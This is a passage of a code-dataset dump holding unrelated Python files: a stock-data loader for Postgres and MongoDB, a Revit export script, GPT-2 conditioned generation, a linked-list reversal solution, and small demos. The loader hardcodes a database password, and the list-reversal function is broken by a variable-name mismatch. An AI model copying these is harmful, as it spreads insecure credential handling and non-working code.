$(\\sigma_{true}-\\sigma_{predicted})/\\sigma_{true}$', fontsize=18)\r\nplt.xscale('log')\r\nplt.yscale('log')\r\nplt.tight_layout()\r\nplt.savefig('n2c1+_NLO_rel_err.png')\r\nplt.close()","sub_path":"n2c1+_evaluation.py","file_name":"n2c1+_evaluation.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"48720878","text":"import psycopg2\r\nimport zipfile\r\nimport time\r\nfrom itertools import combinations\r\nfrom builtins import any as b_any\r\nfrom pymongo import MongoClient\r\nimport datetime\r\n\r\n'''\r\n@author-name:rishab katta\r\n@author-name: milind kamath\r\n@author-name: Bikash Roy\r\n@author-name: Ankit Jain\r\n'''\r\n\r\n'''\r\nPython Program to load stocks data into Postgresql server, change structure of the relational model,\r\ndetermine funtional dependencies, load data from relational model to MongoDB for phase 2 of Project.\r\n\r\nDataset link: https://www.kaggle.com/ehallmar/daily-historical-stock-prices-1970-2018#historical_stocks.csv\r\n'''\r\n\r\n\r\nclass DatabaseConnection:\r\n\r\n def __init__(self, host=None, port=None,pdb=None,pusername=None, ppwd=None):\r\n '''\r\n Constructor used for initializing MongoDB and Postgres database.\r\n :param host: hostname\r\n :param port: port number for mongodb\r\n :param pdb: postgres database name\r\n :param pusername: postgres username for above database with SUPERUSER priviliges\r\n :param ppwd: postgres user password\r\n '''\r\n try:\r\n self.client = MongoClient(host, port)\r\n self.database = self.client['stocks']\r\n #self.connection = psycopg2.connect(host=str(host), database=str(pdb), user=str(pusername), password=str(ppwd))\r\n self.connection = psycopg2.connect(host=\"localhost\", database=\"stocks\", user=\"user101\", password=\"abcde\")\r\n self.connection.autocommit=True\r\n self.cursor = self.connection.cursor()\r\n print(\"Connection Successful\")\r\n except Exception as e:\r\n print(getattr(e, 'message', repr(e)))\r\n print(getattr(e, 'message', str(e)))\r\n\r\n def dropIfexists(self):\r\n '''\r\n drop the relations if they exist and start fresh\r\n :return: None\r\n '''\r\n self.cursor.execute(\"DROP TABLE IF EXISTS company, historical_stock_price, sector, industry\")\r\n\r\n def create_tables(self):\r\n '''\r\n create tables for relational database\r\n :return: None\r\n '''\r\n\r\n self.cursor.execute(\"CREATE TABLE company(ticker VARCHAR NOT NULL, exchange VARCHAR, \"\r\n \"company_name VARCHAR, sector VARCHAR, industry VARCHAR, PRIMARY KEY(ticker))\")\r\n\r\n print(\"Company table created\")\r\n\r\n self.cursor.execute(\"Create table historical_stock_price(id BIGSERIAL PRIMARY KEY, ticker VARCHAR, open_price float, \"\r\n \"close_price float, adj_close_price float, low_price float, high_price float, volume BIGINT, \"\r\n \"stock_date DATE, FOREIGN KEY(ticker) REFERENCES Company(ticker))\")\r\n\r\n print(\"historical stock price table created\")\r\n\r\n def insert_tables(self, path):\r\n '''\r\n Insert data from downloaded dataset to the relational database\r\n :param path: Pathname for the downloaded zip file\r\n :return: None\r\n '''\r\n\r\n with zipfile.ZipFile(str(path) +\"daily-historical-stock-prices-1970-2018.zip\", \"r\") as zip_ref:\r\n zip_ref.extractall(str(path))\r\n\r\n\r\n file=str(path) + \"daily-historical-stock-prices-1970-2018\\\\\" + \"historical_stocks.csv\"\r\n self.cursor.execute(\"COPY company(ticker, exchange, company_name, sector,\"\r\n \" industry) FROM %s DELIMITER ',' CSV HEADER\", (file,))\r\n\r\n\r\n\r\n file = str(path) + \"historical_stock_prices.csv\"\r\n self.cursor.execute(\"COPY historical_stock_price(ticker, open_price, close_price, adj_close_price,\"\r\n \" low_price, high_price, volume, stock_date) FROM %s DELIMITER ',' CSV HEADER\", (file,))\r\n\r\n print(\"Data loaded into company and historical stock prices tables\")\r\n\r\n def change_structure(self):\r\n '''\r\n Change structure based on Instructions from Prof. Mior\r\n :return: None\r\n '''\r\n\r\n self.cursor.execute(\"create table sector(id bigserial, name VARCHAR)\")\r\n\r\n self.cursor.execute(\"insert into sector(name) select distinct sector from company \")\r\n\r\n self.cursor.execute(\"ALTER TABLE company ADD COLUMN sectorid bigint \")\r\n\r\n self.cursor.execute(\"UPDATE company SET sectorid = sector.id FROM sector WHERE sector.name = company.sector\")\r\n\r\n self.cursor.execute(\"create table industry(id bigserial, name VARCHAR)\")\r\n\r\n self.cursor.execute(\"insert into industry(name) select distinct industry from company\")\r\n\r\n self.cursor.execute(\"ALTER TABLE company ADD COLUMN industryid bigint \")\r\n\r\n self.cursor.execute(\"UPDATE company SET industryid = industry.id FROM industry WHERE industry.name = company.industry\")\r\n\r\n self.cursor.execute(\"ALTER TABLE company DROP COLUMN sector, DROP COLUMN industry\")\r\n\r\n self.cursor.execute(\"ALTER TABLE company RENAME COLUMN sectorid TO sector\")\r\n\r\n self.cursor.execute(\"ALTER TABLE company RENAME COLUMN industryid TO industry\")\r\n\r\n self.cursor.execute(\"ALTER TABLE sector ADD CONSTRAINT pk_sector PRIMARY KEY (id)\")\r\n\r\n self.cursor.execute(\"ALTER TABLE industry ADD CONSTRAINT pk_industry PRIMARY KEY (id)\")\r\n\r\n self.cursor.execute(\"ALTER TABLE company ADD CONSTRAINT fk_sector FOREIGN KEY (sector) REFERENCES sector (id)\")\r\n\r\n self.cursor.execute(\"ALTER TABLE company ADD CONSTRAINT fk_industry FOREIGN KEY (industry) REFERENCES industry (id)\")\r\n\r\n print(\"Sector and industry table created and values inserted\")\r\n\r\n\r\n def runquery(self):\r\n '''\r\n execute queries\r\n :return: None\r\n '''\r\n print(\"Executing queries without index\")\r\n print(\"Query 1\")\r\n start = time.time()\r\n self.cursor.execute(\"select distinct company_name, max((((close_price - \"\r\n \"adj_close_price) / close_price) * 100)) as MaxPercentageChange \"\r\n \"from company \"\r\n \"join historical_stock_price on historical_stock_price.ticker = company.ticker \"\r\n \"where cast(stock_date as varchar) > '2000-01-01' \"\r\n \"and cast(stock_date as varchar) < '2018-12-31' \"\r\n \"and (((close_price - adj_close_price) / close_price) * 100) >= 15 \"\r\n \"group by company_name order by MaxPercentageChange\")\r\n\r\n end = time.time()\r\n print(\"Time taken for query1\", end-start, \"seconds\")\r\n\r\n print(\"Query 2\")\r\n start = time.time()\r\n self.cursor.execute(\"select distinct company_name, avg(open_price) as AvgOpenPrice from company \"\r\n \"join historical_stock_price on historical_stock_price.ticker = company.ticker \"\r\n \"where cast(stock_date as varchar) > '1980-01-01' \"\r\n \"and cast(stock_date as varchar) < '2018-12-31' \"\r\n \"and company_name ilike '%Limited' or company_name ilike '%inc' group by company_name \"\r\n \"having avg(open_price) > 30\")\r\n\r\n end = time.time()\r\n print(\"Time taken for query2\", end - start, \"seconds\")\r\n\r\n print(\"Query 3\")\r\n start = time.time()\r\n self.cursor.execute(\"select company_name, sec.name, hist.high_price - hist.low_price \"\r\n \"as diffInPrediction from company as comp join sector as sec on comp.sector = sec.id \"\r\n \"join historical_stock_price as hist on comp.ticker = hist.ticker \"\r\n \"where sec.name ilike 'Technology' and hist.high_price - hist.low_price < 0.02 \"\r\n \"order by company_name\")\r\n\r\n end = time.time()\r\n print(\"Time taken for query3\", end - start, \"seconds\")\r\n\r\n print(\"Query 4\")\r\n start = time.time()\r\n self.cursor.execute(\"select company_name, volume from company as comp join sector as sec \"\r\n \"on comp.sector = sec.id \"\r\n \"join historical_stock_price as hist on comp.ticker = hist.ticker \"\r\n \"where comp.exchange ilike 'NASDAQ' and sec.name ilike 'Health Care' \"\r\n \"and (((close_price - adj_close_price) / close_price) * 100) >= 50 \"\r\n \"order by volume desc\")\r\n\r\n end = time.time()\r\n print(\"Time taken for query4\", end - start, \"seconds\")\r\n\r\n print(\"Query 5\")\r\n start = time.time()\r\n self.cursor.execute(\"select distinct comp.company_name, Max(hist.close_price - hist.open_price) as MaxLoss , \"\r\n \"((Max(hist.close_price - hist.open_price))*hist.volume) as MaxAmountLoss \"\r\n \"from industry as ind \"\r\n \"join company as comp on ind.id = comp.industry \"\r\n \"join historical_stock_price as hist on hist.ticker = comp.ticker \"\r\n \"where cast(hist.stock_date as varchar) > '2015-01-01' \"\r\n \"and cast(hist.stock_date as varchar) < '2018-01-01' \"\r\n \"and ind.name ilike 'Integrated Oil Companies' \"\r\n \"group by comp.company_name, hist.volume order by MaxLoss desc\")\r\n\r\n end = time.time()\r\n print(\"Time taken for query5\", end - start, \"seconds\")\r\n\r\n ###################################################################################################\r\n\r\n def createindex(self):\r\n print(\"Creating indexes\")\r\n\r\n self.cursor.execute(\"CREATE INDEX ticker_idx ON company (ticker);\")\r\n self.cursor.execute(\"CREATE INDEX ticker_hist_idx ON historical_stock_price (ticker);\")\r\n self.cursor.execute(\"CREATE INDEX company_name_idx ON company USING GIN (company_name gin_trgm_ops)\")\r\n self.cursor.execute(\"CREATE INDEX sector_name_idx ON sector USING GIN (name gin_trgm_ops)\")\r\n self.cursor.execute(\"CREATE INDEX company_exchange_idx ON company USING GIN (exchange gin_trgm_ops)\")\r\n self.cursor.execute(\"CREATE INDEX industry_name_idx ON industry USING GIN (name gin_trgm_ops)\")\r\n\r\n print(\"Indexes created\")\r\n\r\n\r\n def runqueryindex(self):\r\n\r\n print(\"Executing queries with index\")\r\n print(\"Query 1\")\r\n start = time.time()\r\n self.cursor.execute(\"select distinct company_name, max((((close_price - \"\r\n \"adj_close_price) / close_price) * 100)) as MaxPercentageChange \"\r\n \"from company \"\r\n \"join historical_stock_price on historical_stock_price.ticker = company.ticker \"\r\n \"where cast(stock_date as varchar) > '2000-01-01' \"\r\n \"and cast(stock_date as varchar) < '2018-12-31' \"\r\n \"and (((close_price - adj_close_price) / close_price) * 100) >= 15 \"\r\n \"group by company_name order by MaxPercentageChange\")\r\n\r\n end = time.time()\r\n print(\"Time taken for query1\", end - start, \"seconds\")\r\n\r\n print(\"Query 2\")\r\n start = time.time()\r\n self.cursor.execute(\"select distinct company_name, avg(open_price) as AvgOpenPrice from company \"\r\n \"join historical_stock_price on historical_stock_price.ticker = company.ticker \"\r\n \"where cast(stock_date as varchar) > '1980-01-01' \"\r\n \"and cast(stock_date as varchar) < '2018-12-31' \"\r\n \"and company_name ilike '%Limited' or company_name ilike '%inc' group by company_name \"\r\n \"having avg(open_price) > 30\")\r\n\r\n end = time.time()\r\n print(\"Time taken for query2\", end - start, \"seconds\")\r\n\r\n print(\"Query 3\")\r\n start = time.time()\r\n self.cursor.execute(\"select company_name, sec.name, hist.high_price - hist.low_price \"\r\n \"as diffInPrediction from company as comp join sector as sec on comp.sector = sec.id \"\r\n \"join historical_stock_price as hist on comp.ticker = hist.ticker \"\r\n \"where sec.name ilike 'Technology' and hist.high_price - hist.low_price < 0.02 \"\r\n \"order by company_name\")\r\n\r\n end = time.time()\r\n print(\"Time taken for query3\", end - start, \"seconds\")\r\n\r\n print(\"Query 4\")\r\n start = time.time()\r\n self.cursor.execute(\"select company_name, volume from company as comp join sector as sec \"\r\n \"on comp.sector = sec.id \"\r\n \"join historical_stock_price as hist on comp.ticker = hist.ticker \"\r\n \"where comp.exchange ilike 'NASDAQ' and sec.name ilike 'Health Care' \"\r\n \"and (((close_price - adj_close_price) / close_price) * 100) >= 50 \"\r\n \"order by volume desc\")\r\n\r\n end = time.time()\r\n print(\"Time taken for query4\", end - start, \"seconds\")\r\n\r\n print(\"Query 5\")\r\n start = time.time()\r\n self.cursor.execute(\"select distinct comp.company_name, Max(hist.close_price - hist.open_price) as MaxLoss , \"\r\n \"((Max(hist.close_price - hist.open_price))*hist.volume) as MaxAmountLoss \"\r\n \"from industry as ind \"\r\n \"join company as comp on ind.id = comp.industry \"\r\n \"join historical_stock_price as hist on hist.ticker = comp.ticker \"\r\n \"where cast(hist.stock_date as varchar) > '2015-01-01' \"\r\n \"and cast(hist.stock_date as varchar) < '2018-01-01' \"\r\n \"and ind.name ilike 'Integrated Oil Companies' \"\r\n \"group by comp.company_name, hist.volume order by MaxLoss desc\")\r\n\r\n end = time.time()\r\n print(\"Time taken for query5\", end - start, \"seconds\")\r\n\r\n def dropindex(self):\r\n\r\n self.cursor.execute(\"DROP INDEX IF EXISTS ticker_idx, ticker_hist_idx, company_name_idx, sector_name_idx, \"\r\n \"company_exchange_idx, industry_name_idx\")\r\n\r\n def func_depd_pruning(self):\r\n '''\r\n function for determining functional dependencies using the pruning approach. This function determines functional dps\r\n for company as a sample. We have run the same code for other tables in our model and the results are documented in the write-up\r\n :return: None\r\n '''\r\n input = ['ticker', 'exchange', 'company_name', 'sector', 'industry']\r\n\r\n output = sum([list(map(list, combinations(input, i))) for i in range(3)], [])\r\n\r\n output.pop(0) # deleting the empty set\r\n\r\n concat_list = [', '.join(sub_list) for sub_list in output]\r\n\r\n table_list = []\r\n table_dict = {}\r\n\r\n for column in concat_list:\r\n column_list = []\r\n query = \"SELECT array_agg(ticker) FROM company GROUP BY \" + column + \" order by \" + column\r\n self.cursor.execute(query)\r\n arrays = self.cursor.fetchall()\r\n for array in arrays:\r\n array = str(array)\r\n array = array.strip('()[],')\r\n column_list.append(array.translate('()[]').split(', '))\r\n table_list.append(column_list)\r\n\r\n table_dict.clear()\r\n\r\n for i in range(0, len(concat_list)):\r\n table_dict[concat_list[i]] = table_list[i]\r\n\r\n func_depd = []\r\n\r\n for left_col in table_dict.keys():\r\n for right_col in input:\r\n count = 0\r\n lolleft = table_dict[left_col]\r\n lolright = table_dict[right_col]\r\n for left_list in lolleft:\r\n for right_list in lolright:\r\n if set(left_list) <= set(right_list):\r\n count += 1\r\n break\r\n else:\r\n continue\r\n if count == len(lolleft):\r\n leftcollist = left_col.split(\", \")\r\n someflag = True\r\n for col in leftcollist:\r\n if col.strip(\" \") != right_col.strip(\" \"):\r\n continue\r\n else:\r\n someflag = False\r\n if someflag:\r\n word = \"-->\" + str(right_col)\r\n if not b_any(word in x for x in func_depd):\r\n func_depd.append(left_col + \"-->\" + right_col)\r\n\r\n print(func_depd)\r\n\r\n def insert_mongodb(self):\r\n '''\r\n Insert data from relational database to MongoDB\r\n :return: None\r\n '''\r\n\r\n self.cursor.execute(\"select id, ticker, open_price, close_price, adj_close_price, low_price, high_price, volume, stock_date from historical_stock_price \")\r\n historical_stock_prices = self.cursor.fetchall()\r\n self.collection = self.database['historical_stock_price']\r\n\r\n for hsp in historical_stock_prices:\r\n self.hspdoc = {}\r\n self.hspdoc['_id'] = hsp[0]\r\n self.hspdoc['ticker'] = hsp[1]\r\n if hsp[2] is not None:\r\n self.hspdoc['open_price'] = hsp[2]\r\n if hsp[3] is not None:\r\n self.hspdoc['close_price'] = hsp[3]\r\n if hsp[4] is not None:\r\n self.hspdoc['adj_close_price'] = hsp[4]\r\n if hsp[5] is not None:\r\n self.hspdoc['low_price'] = hsp[5]\r\n if hsp[6] is not None:\r\n self.hspdoc['high_price'] = hsp[6]\r\n if hsp[7] is not None:\r\n self.hspdoc['volume'] = hsp[7]\r\n if hsp[8] is not None:\r\n self.hspdoc['stock_date'] = datetime.datetime.combine(hsp[8], datetime.time.min)\r\n\r\n\r\n\r\n self.collection.insert_one(self.hspdoc)\r\n\r\n\r\n\r\n#############################################################################################\r\n\r\n self.cursor.execute(\"select id, name from sector \")\r\n sectors = self.cursor.fetchall()\r\n self.collection = self.database['sector']\r\n\r\n for sector in sectors:\r\n self.sectordoc = {}\r\n self.sectordoc['_id'] = sector[0]\r\n self.sectordoc['name'] = sector[1]\r\n\r\n self.collection.insert_one(self.sectordoc)\r\n\r\n#############################################################################################\r\n\r\n self.cursor.execute(\"select id, name from industry \")\r\n industries = self.cursor.fetchall()\r\n self.collection = self.database['industry']\r\n\r\n for industry in industries:\r\n self.industrydoc = {}\r\n self.industrydoc['_id'] = industry[0]\r\n self.industrydoc['name'] = industry[1]\r\n\r\n self.collection.insert_one(self.industrydoc)\r\n\r\n#############################################################################################\r\n\r\n self.cursor.execute(\"select ticker, exchange, company_name, sector, industry from company \")\r\n companies = self.cursor.fetchall()\r\n self.collection = self.database['company']\r\n\r\n for company in companies:\r\n self.companydoc = {}\r\n self.companydoc['ticker'] = company[0]\r\n self.companydoc['exchange'] = company[1]\r\n if company[2] is not None:\r\n self.companydoc['company_name'] = company[2]\r\n if company[3] is not None:\r\n self.companydoc['sector'] = company[3]\r\n if company[4] is not None:\r\n self.companydoc['industry'] = company[4]\r\n\r\n self.collection.insert_one(self.companydoc)\r\n\r\n print(\"Data inserted in mongodb collection\")\r\n\r\n\r\nif __name__ == '__main__':\r\n # port = int(input(\"Enter port MongoDB's running on\"))\r\n # host = input(\"Enter host for both MongoDB and Postgres\")\r\n # pdb = input(\"Enter Postgres Database Name\")\r\n # pun = input(\"Enter postgres username\")\r\n # ppwd = input(\"Enter postgres password\")\r\n # path = str(input(\"Enter Path except the file name - example- C:/users/files/\"))\r\n\r\n # database_connection = DatabaseConnection(host,port, pdb, pun, ppwd)\r\n database_connection = DatabaseConnection()\r\n # database_connection.dropIfexists()\r\n # database_connection.create_tables()\r\n # database_connection.insert_tables('C:\\\\Users\\\\milin\\\\PycharmProjects\\\\BigDataProject\\\\')\r\n # database_connection.change_structure()\r\n # database_connection.runquery()\r\n # database_connection.createindex()\r\n # database_connection.runqueryindex()\r\n # database_connection.dropindex()\r\n # print(\"Functional dependencies\")\r\n # database_connection.func_depd_pruning()\r\n database_connection.insert_mongodb()\r\n","sub_path":"StocksLoad.py","file_name":"StocksLoad.py","file_ext":"py","file_size_in_byte":20922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"652531778","text":"import sys, re\nimport ConfigParser\nfrom os.path import expanduser\n# Set system path\nhome = expanduser(\"~\")\ncfgfile = open(home + \"\\\\STVTools.ini\", 'r')\nconfig = ConfigParser.ConfigParser()\nconfig.read(home + \"\\\\STVTools.ini\")\n# Master Path\nsyspath1 = config.get('SysDir','MasterPackage')\nsys.path.append(syspath1)\n# Built Path\nsyspath2 = config.get('SysDir','SecondaryPackage')\nsys.path.append(syspath2)\n\nimport FileUtilities, Selection\nfrom pyrevit.framework import List\nfrom pyrevit import revit, DB, forms\nfrom Autodesk.Revit.DB import FilteredElementCollector, Transaction, ImportInstance, \\\n\tOpenOptions,WorksetConfiguration, WorksetConfigurationOption, DetachFromCentralOption,\\\n ModelPathUtils, SaveAsOptions, WorksharingSaveAsOptions, RevitLinkType, ViewSet,WorksharingSaveAsOptions, NavisworksExportOptions\nfrom System.Collections.Generic import List\nfrom Autodesk.Revit.UI.Events import DialogBoxShowingEventArgs\nfrom Autodesk.Revit.UI import UIApplication\nfrom Autodesk.Revit.ApplicationServices import Application\n\n# Main\nuidoc = __revit__.ActiveUIDocument\ndoc = __revit__.ActiveUIDocument.Document\n\n__doc__ = 'Open projects and export NWC'\\\n 'Please do not use lightly'\nuiapp = UIApplication(doc.Application)\napplication = uiapp.Application\n\n# Collect Save location and Rvt Files\ncollectorFiles = forms.pick_file(file_ext='rvt', multi_file=True, unc_paths=False)\ndestinationFolder = forms.pick_folder()\n\n# open File and export\n\nfor f in collectorFiles:\n currentDoc = FileUtilities.OpenFileCloseWorksets(f, application, False)\n # Unload Links\n revitLinkType = FilteredElementCollector(doc).OfClass(RevitLinkType).ToElements()\n for r in revitLinkType:\n try:\n r.Unload(None)\n except:\n pass\n saveOp = SaveAsOptions()\n workOp = WorksharingSaveAsOptions()\n workOp.SaveAsCentral = True\n saveOp.SetWorksharingOptions(workOp)\n title = currentDoc.Title\n cleanTitle = re.split('_detached', title)[0]\n print(cleanTitle)\n currentDoc.SaveAs(destinationFolder + '\\\\' + title, saveOp)\n currentDoc.Close(False)\n # Open again\n currentDoc2 = FileUtilities.OpenFile(destinationFolder + '\\\\' + title, application, False)\n try:\n try:\n view = FileUtilities.GetViewByName(currentDoc2, \"3D-NWC EXPORT STV\").Id\n except:\n view = FileUtilities.GetViewByName(currentDoc2, \"NWC EXPORT STV\").Id\n element = FilteredElementCollector(currentDoc2, view).ToElementIds()\n nwcOptions = NavisworksExportOptions()\n nwcOptions.SetSelectedElementIds(element)\n currentDoc2.Export(destinationFolder, cleanTitle, nwcOptions)\n currentDoc2.Close(False)\n except:\n print('No proper View Found in the ' + cleanTitle)\n currentDoc2.Close(False)\n\n\n","sub_path":"CustomExtension.extension/STVTools.tab/Experiment.panel/Potions.pulldown/Batch Export NWC.pushbutton/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":2794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"214879969","text":"from transformers import GPT2LMHeadModel, GPT2Tokenizer\nimport torch\nimport torch.nn.functional as F\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nMODEL = 'gpt2-medium'\nDEV = 'cuda'\nTOP_K = 35\nLENGTH = 100\nWEIGHTS = [0.01]\nWEIGHTS = [0.01, 0.01]\n\nCOND = 'positive politics'\nCOND = 'negative politics'\nCOND = 'negative science'\nCOND = 'positive science'\nCOND = 'negative'\nCOND = 'positive'\n\nPREFIX = 'To conclude'\nPREFIX = 'The potato'\nPREFIX = 'The chicken tastes'\n\n\ndef cat_past(past, cur_past, last=False):\n rtn_past = []\n for i in range(len(past)):\n if last:\n rtn_past.append(torch.cat([past[i], cur_past[i][..., -1:, :]], dim=3))\n else:\n rtn_past.append(torch.cat([past[i], cur_past[i]], dim=3))\n rtn_past = tuple(rtn_past)\n return rtn_past\n\n\ndef add_past(past, cond_past):\n assert len(past) == len(cond_past[0])\n past = list(past) # or else 'tuple' object doesn't support item assignment\n for i in range(len(cond_past)):\n for j in range(len(past)):\n past[j] += WEIGHTS[i] * cond_past[i][j]\n past = tuple(past)\n return past\n\n\ndef top_k_filtering(logits, top_k=1, filter_value=-float(\"Inf\"), min_tokens_to_keep=1):\n top_k = min(max(top_k, min_tokens_to_keep), logits.size(-1))\n ids_to_remove = logits < torch.topk(logits, top_k)[0][..., -1, None]\n ids_to_retain = torch.topk(logits, top_k)[1][0]\n logits[ids_to_remove] = filter_value\n return logits, ids_to_retain\n\n\ntokenizer = GPT2Tokenizer.from_pretrained(MODEL)\nmodel = GPT2LMHeadModel.from_pretrained(MODEL).to(DEV)\nCOND_IDS = tokenizer.encode(COND)\n\nembed = model.get_input_embeddings()\ncond_embeds = embed(torch.tensor([COND_IDS]).to(DEV))[0]\nfor i in range(cond_embeds.shape[0]):\n embed.weight.data += WEIGHTS[i] * cond_embeds[i]\n\ncond_ids = torch.tensor([COND_IDS]).to(DEV)\ncond_past = [None for i in range(cond_ids.shape[1])]\n\n\ninput_ids = torch.tensor([tokenizer.encode(PREFIX, add_special_tokens=True)]).to(DEV)\ninput_past = model(input_ids[:, :-1])[1]\n\n\nfor t in range(input_ids.shape[1]-1):\n with torch.no_grad():\n position_ids = torch.tensor([[t]]).to(DEV)\n for i in range(cond_ids.shape[1]):\n cur_past = model(cond_ids[:, i:i+1], position_ids=position_ids)[1]\n if cond_past[i] is None:\n cond_past[i] = cur_past\n else:\n cond_past[i] = cat_past(cond_past[i], cur_past)\n\nfor t in range(input_ids.shape[1]-1, LENGTH): # +1 for the last time step of prefix\n\n with torch.no_grad():\n\n position_ids = torch.tensor([[t]]).to(DEV)\n past = add_past(input_past, cond_past)\n logits, cur_past = model(input_ids[:, -1:], past=past, position_ids=position_ids)\n logits = logits[:, 0]\n input_past = cat_past(input_past, cur_past, last=True)\n logits, ids_to_retain = top_k_filtering(logits, TOP_K)\n probs = F.softmax(logits, dim=-1)\n next_tokens = torch.multinomial(probs, num_samples=1)\n input_ids = torch.cat([input_ids, next_tokens], dim=-1)\n\n for i in range(cond_ids.shape[1]):\n cur_past = model(cond_ids[:, i:i+1], position_ids=position_ids)[1]\n cond_past[i] = cat_past(cond_past[i], cur_past)\n\nprint(tokenizer.decode(input_ids[0]))\n","sub_path":"ours/method4.py","file_name":"method4.py","file_ext":"py","file_size_in_byte":3270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"29673165","text":"EID=1001\nBS=15000\nallow=6000\nGS=BS+allow\nif GS > 10000:\n\tIT=GS*20/100\nelse:\n\tIT=0\nNS=GS-IT\nprint(\"employee_id:\",EID)\nprint(\"Basic Sallary :\",BS)\nprint(\"Net sallary:\",NS)\n","sub_path":"assign15.py","file_name":"assign15.py","file_ext":"py","file_size_in_byte":170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"466024704","text":"# 给你一个链表,每 k 个节点一组进行翻转,请你返回翻转后的链表。\n# k 是一个正整数,它的值小于或等于链表的长度。\n# 如果节点总数不是 k 的整数倍,那么请将最后剩余的节点保持原有顺序。\n# 示例:\n# 给你这个链表:1->2->3->4->5\n# 当 k = 2 时,应当返回: 2->1->4->3->5\n# 当 k = 3 时,应当返回: 3->2->1->4->5\n# 说明:\n# 你的算法只能使用常数的额外空间。\n# 你不能只是单纯的改变节点内部的值,而是需要实际进行节点交换。\nclass Solution:\n def reverseKGroup(self, head: ListNode, k: int) -> ListNode:\n if head is None or k < 2:\n return head\n dummy = ListNode(0)\n dummy.next = head\n start = dummy\n end = head\n count = 0\n while end:\n count += 1\n if count % k == 0:\n start = self.reverse(start, end.next)\n end = start.next\n else:\n end = end.next\n return dummy.next\n \n def reverse(self, start, end):\n prev, cur = start, start.next\n first = curr\n while curr != end:\n temp = curr.next\n curr.next = prev\n prev = curr\n curr = temp\n start.next = prev\n first.next = curr\n return first\n\n\n\n\n# class Solution:\n# def reverseKGroup(self, head: ListNode) -> ListNode:\n# currnet = head\n# for i in range(k):\n# if not currnet:\n# return head\n# current = currnet.next\n# current = head\n# previous = None\n# for in range(k):\n# current_next = current.next\n# current.next = previous\n# previous = current\n# current = current_next\n# head.next = self.reverseKGroup(current, k)\n# return previous","sub_path":"Week_06/practice_leetcode/reverse-nodes-in-k-group.py","file_name":"reverse-nodes-in-k-group.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"249119711","text":"import logging\nimport sys\n\n\ndef exception_handler(function):\n \"\"\"\n Wrap the function passed in, and log exceptions if they occur.\n PARAMETERS\n ----------\n function : object\n A user-defined function.\n RETURNS\n -------\n wrapper : object\n If an exception occurs, display a log with a traceback\n of the error.\n \"\"\"\n def wrapper(*args, **kwargs):\n try:\n # call the function\n return function(*args, **kwargs)\n\n except FileNotFoundError as error:\n # Print exception and exit code\n print(\"File not found. {}\".format(error))\n\n except Exception as error:\n # Log exception traceback and exit code\n logging.exception(error)\n print(\"Code failed. See traceback log for details.\")\n sys.exit(1)\n\n return wrapper","sub_path":"src/NYPP_hotspots/exception_handler.py","file_name":"exception_handler.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"208702826","text":"\"\"\"\n使用多線程的情況 - 模擬多個下載任務\n\nVersion: 0.1\nAuthor: 駱昊\nDate: 2018-03-20\n\"\"\"\n\nfrom random import randint\nfrom time import time, sleep\nimport atexit\nimport _thread\n\n\ndef download_task(filename):\n print('開始下載%s...' % filename)\n time_to_download = randint(5, 10)\n print('剩餘時間%d秒.' % time_to_download)\n sleep(time_to_download)\n print('%s下載完成!' % filename)\n\n\ndef shutdown_hook(start):\n end = time()\n print('總共耗費了%.3f秒.' % (end - start))\n\n\ndef main():\n start = time()\n # 將多個下載任務放到多個線程中執行\n thread1 = _thread.start_new_thread(download_task, ('Python從入門到住院.pdf',))\n thread2 = _thread.start_new_thread(download_task, ('Peking Hot.avi',))\n # 註冊關機鉤子在程序執行結束前計算執行時間\n atexit.register(shutdown_hook, start)\n\n\nif __name__ == '__main__':\n main()\n\n# 執行這裏的代碼會引發致命錯誤(不要被這個詞嚇到) 因爲主線程結束後下載線程再想執行就會出問題\n# 需要說明一下 由於_thread模塊屬於比較底層的線程操作而且不支持守護線程的概念\n# 在實際開發中會有諸多不便 因此我們推薦使用threading模塊提供的高級操作進行多線程編程\n","sub_path":"Day01-15/code/Day13/multithread1.py","file_name":"multithread1.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"74113462","text":"from tensorflow.keras.models import Sequential\r\nfrom tensorflow.keras.layers import Dense\r\nfrom tensorflow.keras.datasets.mnist import load_data\r\n\r\nfrom sklearn.preprocessing import OneHotEncoder\r\nfrom utils import MyHistory\r\n\r\n(x_train, y_train), (x_test, y_test) = load_data()\r\nx_train = x_train.reshape(-1, 28 * 28)\r\nx_test = x_test.reshape(-1, 28 * 28)\r\n\r\nenc = OneHotEncoder()\r\ny_train = enc.fit_transform(y_train.reshape(-1, 1)).toarray()\r\ny_test = enc.transform(y_test.reshape(-1, 1)).toarray()\r\n\r\nprint(f'[INFO] Shape of x_train: {x_train.shape}')\r\nprint(f'[INFO] Shape of y_train: {y_train.shape}')\r\nprint(f'[INFO] Shape of x_test: {x_test.shape}')\r\nprint(f'[INFO] Shape of y_test: {y_test.shape}')\r\n\r\nmodel = Sequential()\r\nmodel.add(Dense(32, input_dim=784, activation='relu'))\r\nmodel.add(Dense(10, activation='softmax'))\r\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\r\n\r\nch = MyHistory(model_name='dirs\\\\my_model', win_size=10)\r\n\r\nmodel.fit(x_train, y_train, batch_size=32, epochs=5, verbose=1,\r\n validation_data=(x_test, y_test), callbacks=[ch])\r\n","sub_path":"Custom Keras Callback/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"578939457","text":"\nfrom tkinter import*\nfrom sqlite3 import*\nimport sqlite3\nfrom tkinter.font import BOLD\nfrom tkinter import filedialog\nimport xmltodict\nfrom 